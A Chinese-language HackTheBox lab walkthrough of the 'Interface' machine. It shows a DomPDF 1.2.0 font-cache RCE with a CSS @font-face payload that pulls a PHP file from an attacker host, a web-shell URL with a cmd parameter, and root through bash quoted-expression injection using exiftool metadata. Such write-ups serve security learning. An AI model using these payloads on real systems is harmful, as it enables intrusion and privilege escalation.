HackTheBox - Medium - Linux - Interface

Interface

Interface 是一种中等难度的 Linux 机器,具有“DomPDF”API 端点,该端点通过将“CSS”注入处理后的数据而容易受到远程命令执行的影响。“DomPDF”可以被诱骗在其字体缓存中存储带有“PHP”文件扩展名的恶意字体,然后可以通过从其公开的目录访问它来执行它。权限提升涉及在 bash 脚本中滥用带引号的表达式注入。


外部信息收集

端口扫描

循例nmap

HackTheBox - Medium - Linux - Interface_第1张图片

Web枚举

HackTheBox - Medium - Linux - Interface_第2张图片

在响应头中,能看到它的域名

HackTheBox - Medium - Linux - Interface_第3张图片

ffuf

HackTheBox - Medium - Linux - Interface_第4张图片

/api端点

file

这里html转成了pdf

HackTheBox - Medium - Linux - Interface_第5张图片

Foothold

在pdf中纰漏了dompdf 1.2.0

HackTheBox - Medium - Linux - Interface_第6张图片

在谷歌中能够找到该版本存在问题,并且github上还有exp

https://github.com/positive-security/dompdf-rce

从exp的exploit.css也就不难看出大概是怎么回事了

@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.18:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

file

改一下exploit_font.php

HackTheBox - Medium - Linux - Interface_第7张图片

打exp,目标将会缓存我们的字体文件

HackTheBox - Medium - Linux - Interface_第8张图片

获取字符串md5,用于缓存文件名的组成

file

9001还是用python3开http server才能正常

HackTheBox - Medium - Linux - Interface_第9张图片

访问文件

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_b82f3437a14b588f9bc8cdb2cd1baaf2.php?cmd=id

file

常规python3 reverse shell

HackTheBox - Medium - Linux - Interface_第10张图片

本地权限提升

传个pspy过去发现有shell脚本在跑

HackTheBox - Medium - Linux - Interface_第11张图片

#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

使用exiftool读取Producer信息,然后判断它是否等于dompdf

这篇文章告诉我们这个shell代码可能会导致插入恶意shell命令并且被执行

if [[ "$meta_producer" -eq "dompdf" ]];

首先写一个shellcode或者其他的命令文件

HackTheBox - Medium - Linux - Interface_第12张图片

通过exiftool插入payload,然后将文件移动到/tmp

HackTheBox - Medium - Linux - Interface_第13张图片

等待计划任务执行,我们将能得到它

HackTheBox - Medium - Linux - Interface_第14张图片

你可能感兴趣的:(HackTheBox,HackTheBox,网络安全,linux渗透测试,配置错误,dompdf,rce)